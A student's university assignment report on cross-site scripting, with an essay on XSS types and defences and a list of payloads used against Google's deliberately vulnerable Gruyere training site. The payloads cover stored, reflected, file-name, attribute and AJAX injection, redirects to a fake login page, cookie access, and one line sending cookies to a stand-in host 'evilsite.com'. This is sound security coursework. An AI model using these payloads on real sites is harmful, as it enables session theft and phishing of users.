jamk.fi

Web Application Security

Assignment 2

Mikael Romanov
K1521

January 2018
Tekniikan ja liikenteen ala
Insinööri (AMK), tieto- ja viestintätekniikan tutkinto-ohjelma
Kyberturvallisuus

Jyväskylän ammattikorkeakoulu
JAMK University of Applied Sciences

Content

1 Introduction

The assignments goal was to write an essay about XSS, find vulnerabilities on googles https://google-gruyere.appspot.com/ and report how to mitigate these vulnerabilities. Below you can find my essay and report on the attacks.

2 Cross-site scripting (XSS)

Cross-site scripting (XSS) is a code injection attack that allows attacker to inject malicious javascript in victim's browser. This is done by exploiting vulnerabilities of a website by sending malicious code trough some web application. Usually the code is in form of a browser side script, and everyone who access the website are compromised and will get the malicious code injected in their browser. Flaws in the web applications that allow these attacks to be possible are quite widespread. Attacks can happen anywhere in the web application, if there's user input without any kind of validation. The end user has no way of knowing if the scripts on the site can be trusted or not. The scripts can access Cookies, session tokens or sensitive information. The malicious code is usually sent sent through user input "boxes" or file uploads and they can rewrite the whole HTML content of a page. (Cross-site Scripting(OWASP) 2016.)

There are three main types off XSS which are divided to:

- Persistent XSS(Stored)
    - The malicious string is originated from the websites database. So it is always accessed by clicking, viewing…etc and the code is loaded from the servers data base.

- Reflected XSS
    - The malicious string is originated from the victims request. Usually a website link where the code is hidden and by clicking it, it will request a script from somewhere else. http://google.com/<script>src="http://www.malicious.com/malicious-code.js"</script>.

- DOM-based XSS
    - The vulnerability is in the client side code. The clients browser does not parse the malicious string until the website Javascript is executed

(Kalin & Valbuena 2016, Excess XSS)

To prevent XSS attacks encoding should be the first line of defense. Encoding purpose is to neutralize so it can't be interpreted as code. Usually the encoding should be implemented with validation. If a website has user input then you know what to validate and what to encode. Second line of defense is to sanitize and reject data by validating what is not allowed and what is. Example linking javascripts are not allowed. This isn't going to prevent attacks since there are multiple ways of implementing a simple attack, but the amount of attacks are reduced. Third line of defense is Content Security Policy (CSP) which defines where to download the content on the page such things as stylesheets and pictures. CSP can enforce these rules:

- No untrusted sources
    - The resources can only be loaded from trusted sources
- No inline resources
    - Inline javascript and css is not evaluated
- No eval
    - Javascripts "*eval*" function cannot be used

I found an interesting article about an persistent XSS attack on Github. The vulnerability allowed anyone who had github plugin and rights to edit post or pages (so basically anyone) to post inline js. For more information about the attack here's the link for the attack https://www.pluginvulnerabilities.com/2018/01/16/authenticated-persistent-cross-site-scripting-xss-vulnerability-in-wp-github-tools/

3 Stored XSS

I found a lot of ways to implement stored XSS, I should've done a script that tests all the different lines and not do it by hand. All the following exploits are done by adding a new snippet to the site. Here is what I found.

3.1 Create a basic XSS payload which pops up an alert(document.domain);

- <img src=asdf onerror=alert(document.domain)>
- <svg/onload=alert(document.domain)
- <iframe/onreadystatechange=alert(document.domain)
- <img src="/" =_=" title="onerror='prompt(document.domain)'">
- Click Here
- <var onmouseover="prompt(document.domain)">On Mouse Over</var>
- X
- test

This script will popup an alert box which shows the websites domain. People can be scared by this ex. if the popup window says like "hacked" + document.cookie

3.2 Create an XSS payload that changes the background.

- <var onmouseover="document.body.style.backgroundImage ='none' ;document.body.style.backgroundColor='yellow';">On Mouse Over</var>
- <var> onmouseover="document.body.style.backgroundImage ='url(https://i.imgur.com/lvHdPEG.jpg)';"> Tuo hiiruli </var>
- <img src="#" onerror="document.body.style.backgroundImage ='url(https://i.imgur.com/lvHdPEG.jpg)';">
- <img src="#" onerror='document.body.style.backgroundImage ="none" ;document.body.style.backgroundColor="black";'>

Here is two different ways to do the attack(onmouseover and onerror). These payloads change background atm, but the payloads can be used e.g. for file downloading a malicious file.

3.3 Create an XSS payload that attempts to redirect the user to another webpage. Use the file upload here to create e.g. a fake login page.

- <img src=”#” onerror="window.open(‘http://student.labra-net.jamk.fi/~K1521/fakelogin.html’,'_self');">

This redirects victim to my fakelogin page whenever the page loads.

3.4 Create an XSS payload that posts the user’s cookies as a new Snippet.

After many hours of trying to figure out how to do this I couldn’t figure how to use method and form from sites code to submit new snippet with cookie and I ran out of time to try it more. At least I got the cookie out from the browser and now it writes the cookie to new site.

<var onmouseover=document.write(document.cookie)>On Mouse Over</var>

Attacker could use this vulnerability to store cookies to his own database and gain access to user credentials.

4 Reflected XSS

These attacks are injected directly to the websites URL.

4.1 Create a basic XSS payload which pops up an alert(document.domain);

https://google-gruyere.appspot.com/4643812014308881430317505433521906339 09/<script>alert(document.domain)</script

4.2 Create an XSS payload that changes the background.

https://google-gruy-ere.appspot.com/4643812014308881430317505433521906339 09/<script>document.body.style.backgroundImage="none";document.body.style.backgroundColor="black";</script>

4.3 Create an XSS payload that attempts to redirect the user to another webpage. Use the file upload here to create e.g. a fake login page.

https://google-gruy-ere.appspot.com/4643812014308881430317505433521906339 09/<script> location.href="http://student.labranet.jamk.fi/~K1521/fakelogin.html”</script>

5 File upload XSS

There is two ways to implement this type of attack. Upload a file that contains a script e.g. index.html file that has a malicious script or with Linux to change the file name e.g. to <img src=a onload=”document.location(‘www.evilsite.com/nakki.js?c=’ + document.cookie);”>

5.1 Create a basic XSS payload which pops up an alert(document.domain);

I created a file named test.html which included only:

<!DOCTYPE html>

<html>

<title><script>alert(document.domain)</script></title>

<body></body>

</html>

I uploaded the file and when accessing my upload the alert will pop up.

The other way I did this was with changing the name of the file with Linux. I changed an images name to:

```
<img src=asdf onerror=alert(document.domain)>
```

Then uploaded it.

5.2 Create an XSS payload that changes the background.

Way to do this is to upload a file named:

```
<img src=”#” onerror='document.body.style.backgroundImage ="none" ;document.body.style.backgroundColor="black";'>
```

The site will change color once the file is uploaded.

5.3 Create an XSS payload that attempts to redirect the user to another webpage. Use the file upload here to create e.g. a fake login page.

First way to do this is to upload once again a html file that contains a script example:

```
<script>window.location.href='http://student.labra-net.jamk.fi/~K1521/fakelogin.html'</script>
```

or to change the file name with Linux to:

```
<img src=asd onerror="window.open('http&#58;&#47;&#47;student&#46;labra-net&#46;jamk&#46;fi&#47;&#126;K1521&#47;fakelogin&#46;html','_self');">
```

Since Linux doesn’t allow “/” as a file name we have to replace “/” with corresponding html code which is &#47 or if the link is pasted in javascript then with html entity.

6 Stored XSS via HTML Attribute

The injects are done by injecting code to profile color field under profile. These injects only work when the victim goes to the profile page and hovers the mouse over the “profile color: ” field.

6.1 Create a basic XSS payload which pops up an alert(document.domain);

black' onmouseover='alert(document.domain)

6.2 Create an XSS payload that changes the background.

black' onmouseover='document.body.style.backgroundImage="none";document.body.style.backgroundColor="black";

6.3 Create an XSS payload that attempts to redirect the user to another webpage. Use the file upload here to create e.g. a fake login page.

black' onmouseover='window.location.href = "http://student.labranet.jamk.fi/~K1521/fakelogin.html";

7 Reflected XSS via AJAX

Scripts are injected trough website's URL https://google-gruyere.appspot.com/4643812014308881430317505433521906339O9/ + attack

7.1 Create a basic XSS payload which pops up an alert(document.domain);

snippets.gtl?uid=<script>alert(document.domain)</script>

7.2 Create an XSS payload that changes the background.

snippets.gtl?uid=<script>document.body.style.backgroundImage='none';document.body.style.backgroundColor='black';</script>

7.3 Create an XSS payload that attempts to redirect the user to another webpage. Use the file upload here to create e.g. a fake login page.

snippets.gtl?uid=<script>location.href="http://student.labra-net.jamk.fi/~K1521/fakelogin.html"</script>

8 Mitigating XSS vulnerabilities

Way to prevent the XSS vulnerabilities is to use these lines of defense

- Encoding
  - Acts of escaping user input that makes the browser think that its only data and not code, so it won't inject anything.
- Validation
  - Is a filter that goes through the user input and will delete all malicious parts of the code without deleting the whole code.
- CSP
  - Uses recourses from trusted sources, will prevent malicious code even if the attacker successfully injects something into your website.
- Context
  - Secure input handling is needed to be done differently depending what site is in question and how is the user input handled.
- Inbound/Outbound
  - There are two ways how to perform secure input handling, firstly performing it just right before your website inserts user input into a page (outbound) or perform handling after your website has received the input (inbound).
- Client/Server
  - Handling can be done either on client-side or server-side.

(Kallin & Valbuena 2016, Excess XSS)

Even if these are mitigated correctly there is a way to do XSS since nothing is perfect.

9 Summary

The vulnerabilities on the website can compromise the websites security, e.g. the cookies can be stolen via XSS injection. As many of my peers I had trouble with the cookie assignment. We tried to solve it together as we solved many other of the assignments. The trouble we had was with the lack of javascript skills.

10 References

Google Gruyere. 28.3.2017. Referred to 21.1.2018. http://m4l1ce.me/writeups/2017/03/28/google-gruyere.html

Web Application Exploits and Defenses. 03/2014. Referred to 21.1.2018. http://anonymous1769.blogspot.fi/2014/03/web-application-exploits-and-defenses.html

Cross-site scripting(OWASP). 2016. Article on OWASP's wikisite. Referred to 21.1.2018. https://www.owasp.org/index.php/Cross-site_Scripting_(XSS)

Sangwan, S. 2017. Reflected XSS on JSON, AJAX, XML based web apps. Referred to 21.1.2018 https://teamultimate.in/reflected-xss-on-json-ajax-xml-based-web-apps/

Kallin, J & Valbuena, I. 2016. Excess XSS. Referred to 21.1.2018 https://excess-xss.com/